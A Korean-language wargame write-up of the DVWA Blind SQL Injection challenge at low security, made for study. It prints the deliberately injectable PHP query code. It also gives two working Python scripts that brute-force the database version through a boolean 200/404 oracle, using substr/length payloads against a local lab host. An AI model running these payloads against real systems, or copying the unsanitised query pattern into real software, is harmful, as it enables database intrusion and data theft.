[WARGAME] DVWA write-up/ Blind SQL_Injection/ low

jckim22·2022년 10월 21일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
24/114

이번 문제는 sql의 substr을 이용하여 한 문자씩 서버에 물어보면서 원하는 문자열을 구하는 blind sql injection이다.

먼저 코드를 보지말고 웹페이지를 보자.

blind sql injection에서는 user id를 입력했을 때 그 id가 존재하는지에 대한 여부만 알려준다.
아래는 admin의 user_id인 1을 입력했을 때나 전에 실행되는 참인 sql문을 삽입했을 때 나오는 결과이다.
존재한다고 뜬다.

아래는 이상한 숫자나 오류가 나는 sql문을 삽입했을 때 나오는 결과이다.
database에는 그런 데이터가 없다는 문구가 뜬다.

그리고 패킷을 잡아서 요청과 응답을 분석해보자.

아래는 1이라는 id를 입력했을 때 요청 패킷과 응답 패킷이다.
status코드가 200으로 정상적인 응답이 온다.

하지만 아래처럼 167이라는 존재하지 않는 user_id를 입력하게 되면 404코드가 오게 된다.

이것을 통해 알 수 있는 것은 sql문이 실행이 되어 결과값이 참일 때는 200 결과값이 false라서 오류가 날 때에는 404코드가 온다는 것을 알 수 있다.

아래는 웹페이지의 서버 코드이다.
sql문을 실행시켜 result에 담고 result를 기준으로 exixts의 내용을 바꾸어준다.
그래서 아까 sql문에 오류가 났을 때 result가 1이 아니게 되어 missing문장이 뜬 것이다.

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				try {
					$exists = (mysqli_num_rows( $result ) > 0);
				} catch(Exception $e) {
					$exists = false;
				}
			}
			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	} else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

}

?>

그럼 이 문제에서 원하는 것이 뭔지 알아보자

object를 봤을 때 현재 사용하고 있는 sql의 버전 정보를 가져오는 것이 목적이다.
나는 mariaDB를 사용하고 있기 때문에 version()이라는 함수로 버전 정보를 알 수 있었다.

하지만 브라우저의 입장에서 직접 데이터베이스를 건들 수 있는 방법은 정상적이라면 없다.
그래서 blind sql injection의 방법으로 이 exist와 missing의 여부만 알려주는 서버를 통해 한 문자씩 물으며 버전을 알아보겠다.

사실 버프슈트의 intruder로 exixts 문자열의 여부나 status_code로 브루트 포스 공격을 하여 한 문자씩 알 수 있겠지만 프로페셔널 버전이 아니여서 속도가 굉장히 느리다.

하루종일 할 생각은 없기에 파이썬 코드를 짜보았다.

먼저 버전 문자열의 길이를 파악해야한다.
sql의 length와 version()함수로 알아낼 수 있다.

1' and length(version())= 1 -- 이라는 sql을 삽입했을 때 and 연산자가 있기 때문에 후자가 참이 되어야 200 코드 응답을 받을 수 있을 것이다.
버전의 길이가 1이냐고 질문 했을 때는 당연히 404가 올 것이다.

그래서 반복문으로 브루트 포스 공격을 하였다.

import sys
from urllib.parse import urljoin
from urllib import parse

url = "http://192.168.11.1/dvwa/vulnerabilities/sqli_blind/"


for i in range(1, 50):
    param = {
        'id': f"1\' AND length(version())={i} -- ",
        'Submit': 'Submit'
    }
    cookies = {
        'PHPSESSID': 'ck4i7pcs7mhfsfjril029f3e93',
        'security': 'low'
    }

    res = requests.get(url, params=param, cookies=cookies)

    if(res.status_code==200):
        print(f"{i}={res.status_code}")
        break
    
    print(f"{i}={res.status_code}")

    
    

코드를 실행 했을 때 15에 200을 받고 break된다.
version의 길이가 15라는 것을 알 수 있었다.

이제 한 글자씩 substr(version(),1,1)로 알아보자
위에 substr은 version() 문자열의 1번째 부터 시작해서 하나의 문자만 알려달라는 의미이다.

그렇다면 나는 sql문을 1' and substr(version(),1~15,1)='임의의 문자' -- 이런식으로 삽입해야 할 것이다.

임의 문자는 . / 알파벳 숫자등을 포함할 수 있는 아스키 코드 범위인 0~127을 사용하면 된다.

그럼 아래와 같이 코드를 짜보자.

#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
from urllib import parse
from tqdm import tqdm
url = "http://192.168.11.1/dvwa/vulnerabilities/sqli_blind/"

ver=""

for i in range(1, 16):
    for j in range(0,128):
        param = {
            'id': f"1\' AND substr(version(),{i},1)='{chr(j)}' -- ",
            'Submit': 'Submit'
        }
        cookies = {
            'PHPSESSID': 'ck4i7pcs7mhfsfjril029f3e93',
            'security': 'low'
        }

        res=requests.get(url,params=param,cookies=cookies)
        if (res.status_code==200):
            ver+=chr(j)
            print(f"{i}번째 문자:{ver}")
            break



print(f"version is {ver}")

그리고 실행하여서 아래처럼 버전의 정보를 얻을 수 있다.

profile
개발/보안

0개의 댓글